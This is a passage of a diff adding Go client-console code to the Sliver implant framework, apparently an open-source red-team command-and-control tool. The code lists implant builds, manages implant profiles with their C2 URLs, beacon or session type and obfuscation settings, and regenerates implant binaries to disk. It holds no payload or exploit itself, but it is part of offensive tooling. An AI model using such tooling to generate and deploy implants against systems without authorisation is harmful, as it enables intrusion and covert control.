+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// ImplantBuildFilter - Filter implant builds
+type ImplantBuildFilter struct {
+	GOOS    string
+	GOARCH  string
+	Beacon  bool
+	Session bool
+	Format  string
+	Debug   bool
+}
+
+// ImplantsCmd - Displays archived implant builds
+func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	implantBuildfilters := ImplantBuildFilter{}
+
+	if 0 < len(builds.Configs) {
+		PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
+	} else {
+		con.PrintInfof("No implant builds\n")
+	}
+}
+
+// PrintImplantBuilds - Print the implant builds on the server
+func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Name",
+		"Implant Type",
+		"OS/Arch",
+		"Format",
+		"Command & Control",
+		"Debug",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Name", Mode: table.Asc},
+	})
+
+	for sliverName, config := range configs {
+		if filters.GOOS != "" && config.GOOS != filters.GOOS {
+			continue
+		}
+		if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
+			continue
+		}
+		if filters.Beacon && !config.IsBeacon {
+			continue
+		}
+		if filters.Session && config.IsBeacon {
+			continue
+		}
+		if filters.Debug && config.Debug {
+			continue
+		}
+		if filters.Format != "" && (!strings.EqualFold(config.Format.String(), filters.Format) ||
+			!strings.HasPrefix(strings.ToLower(config.Format.String()), strings.ToLower(filters.Format))) {
+			continue
+		}
+
+		implantType := "session"
+		if config.IsBeacon {
+			implantType = "beacon"
+		}
+		c2URLs := []string{}
+		for index, c2 := range config.C2 {
+			c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
+		}
+		tw.AppendRow(table.Row{
+			sliverName,
+			implantType,
+			fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
+			config.Format,
+			strings.Join(c2URLs, "\n"),
+			fmt.Sprintf("%v", config.Debug),
+		})
+	}
+
+	con.Println(tw.Render())
+}
+
+// ImplantBuildNameCompleter - Completer for implant build names
+func ImplantBuildNameCompleter(prefix string, args []string, filters ImplantBuildFilter, con *console.SliverConsoleClient) []string {
+	builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return []string{}
+	}
+	results := []string{}
+	for name, config := range builds.Configs {
+		if filters.GOOS != "" && config.GOOS != filters.GOOS {
+			continue
+		}
+		if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
+			continue
+		}
+		if filters.Beacon && !config.IsBeacon {
+			continue
+		}
+		if filters.Session && config.IsBeacon {
+			continue
+		}
+		if filters.Debug && config.Debug {
+			continue
+		}
+		if filters.Format != "" && !strings.EqualFold(config.Format.String(), filters.Format) {
+			continue
+		}
+
+		if strings.HasPrefix(name, prefix) {
+			results = append(results, name)
+		}
+	}
+	sort.StringSlice(results).Sort()
+	return results
+}
+
+// ImplantBuildByName - Get an implant build by name
+func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
+	builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil
+	}
+	for sliverName, build := range builds.Configs {
+		if sliverName == name {
+			return build
+		}
+	}
+	return nil
+}

client/command/generate/profiles-generate.go

@@ -0,0 +1,61 @@
+package generate
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// ProfilesGenerateCmd - Generate an implant binary based on a profile
+func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("No profile name specified\n")
+		return
+	}
+	save := ctx.Flags.String("save")
+	if save == "" {
+		save, _ = os.Getwd()
+	}
+	profile := GetImplantProfileByName(name, con)
+	if profile != nil {
+		implantFile, err := compile(profile.Config, save, con)
+		if err != nil {
+			return
+		}
+		profile.Config.Name = buildImplantName(implantFile.Name)
+		_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
+		if err != nil {
+			con.PrintErrorf("could not update implant profile: %v\n", err)
+			return
+		}
+	} else {
+		con.PrintErrorf("No profile with name '%s'", name)
+	}
+}
+
+func buildImplantName(name string) string {
+	return strings.TrimSuffix(name, filepath.Ext(name))
+}

client/command/generate/profiles-new.go

@@ -0,0 +1,74 @@
+package generate
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// ProfilesNewCmd - Create a new implant profile
+func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
+	config := parseCompileFlags(ctx, con)
+	if config == nil {
+		return
+	}
+	profile := &clientpb.ImplantProfile{
+		Name:   name,
+		Config: config,
+	}
+	resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	} else {
+		con.PrintInfof("Saved new implant profile %s\n", resp.Name)
+	}
+}
+
+// ProfilesNewBeaconCmd - Create a new beacon profile
+func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("No profile name specified\n")
+		return
+	}
+	config := parseCompileFlags(ctx, con)
+	if config == nil {
+		return
+	}
+	config.IsBeacon = true
+	err := parseBeaconFlags(ctx, con, config)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	profile := &clientpb.ImplantProfile{
+		Name:   name,
+		Config: config,
+	}
+	resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	} else {
+		con.PrintInfof("Saved new implant profile (beacon) %s\n", resp.Name)
+	}
+}

client/command/generate/profiles-rm.go

@@ -0,0 +1,56 @@
+package generate
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// ProfilesRmCmd - Delete an implant profile
+func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("No profile name specified\n")
+		return
+	}
+	profile := GetImplantProfileByName(name, con)
+	if profile == nil {
+		con.PrintErrorf("No profile found with name '%s'\n", name)
+		return
+	}
+	confirm := false
+	prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
+	_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
+		Name: name,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to delete profile %s\n", err)
+		return
+	}
+}

client/command/generate/profiles.go

@@ -0,0 +1,134 @@
+package generate
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// ProfilesCmd - Display implant profiles
+func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	profiles := getImplantProfiles(con)
+	if profiles == nil {
+		return
+	}
+	if len(profiles) == 0 {
+		con.PrintInfof("No profiles, see `%s %s help`\n", consts.ProfilesStr, consts.NewStr)
+		return
+	} else {
+		PrintProfiles(profiles, con)
+	}
+}
+
+// PrintProfiles - Print the profiles
+func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Profile Name",
+		"Implant Type",
+		"Platform",
+		"Command & Control",
+		"Debug",
+		"Format",
+		"Obfuscation",
+		"Limitations",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Profile Name", Mode: table.Asc},
+	})
+
+	for _, profile := range profiles {
+		config := profile.Config
+
+		obfuscation := "disabled"
+		if config.ObfuscateSymbols {
+			obfuscation = "enabled"
+		}
+		implantType := "session"
+		if config.IsBeacon {
+			implantType = "beacon"
+		}
+		c2URLs := []string{}
+		for index, c2 := range config.C2 {
+			c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
+		}
+		tw.AppendRow(table.Row{
+			profile.Name,
+			implantType,
+			fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
+			strings.Join(c2URLs, "\n"),
+			fmt.Sprintf("%v", config.Debug),
+			fmt.Sprintf("%v", config.Format),
+			obfuscation,
+			getLimitsString(config),
+		})
+	}
+
+	con.Printf("%s\n", tw.Render())
+}
+
+func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
+	pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return pbProfiles.Profiles
+}
+
+// GetImplantProfileByName - Get an implant profile by a specific name
+func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
+	pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	for _, profile := range pbProfiles.Profiles {
+		if profile.Name == name {
+			return profile
+		}
+	}
+	return nil
+}
+
+// ProfileNameCompleter - Completer for implant build names
+func ProfileNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+	pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return []string{}
+	}
+	results := []string{}
+	for _, profile := range pbProfiles.Profiles {
+		if strings.HasPrefix(profile.Name, prefix) {
+			results = append(results, profile.Name)
+		}
+	}
+	return results
+}

client/command/generate/regenerate.go

@@ -0,0 +1,60 @@
+package generate
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"io/ioutil"
+	"os"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// RegenerateCmd - Download an archived implant build/binary
+func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	save := ctx.Flags.String("save")
+	if save == "" {
+		save, _ = os.Getwd()
+	}
+
+	regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
+		ImplantName: ctx.Args.String("implant-name"),
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to regenerate implant %s\n", err)
+		return
+	}
+	if regenerate.File == nil {
+		con.PrintErrorf("Failed to regenerate implant (no data)\n")
+		return
+	}
+	saveTo, err := saveLocation(save, regenerate.File.Name)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
+	if err != nil {
+		con.PrintErrorf("Failed to write to %s\n", err)
+		return
+	}
+	con.PrintInfof("Implant binary saved to: %s\n", saveTo)
+}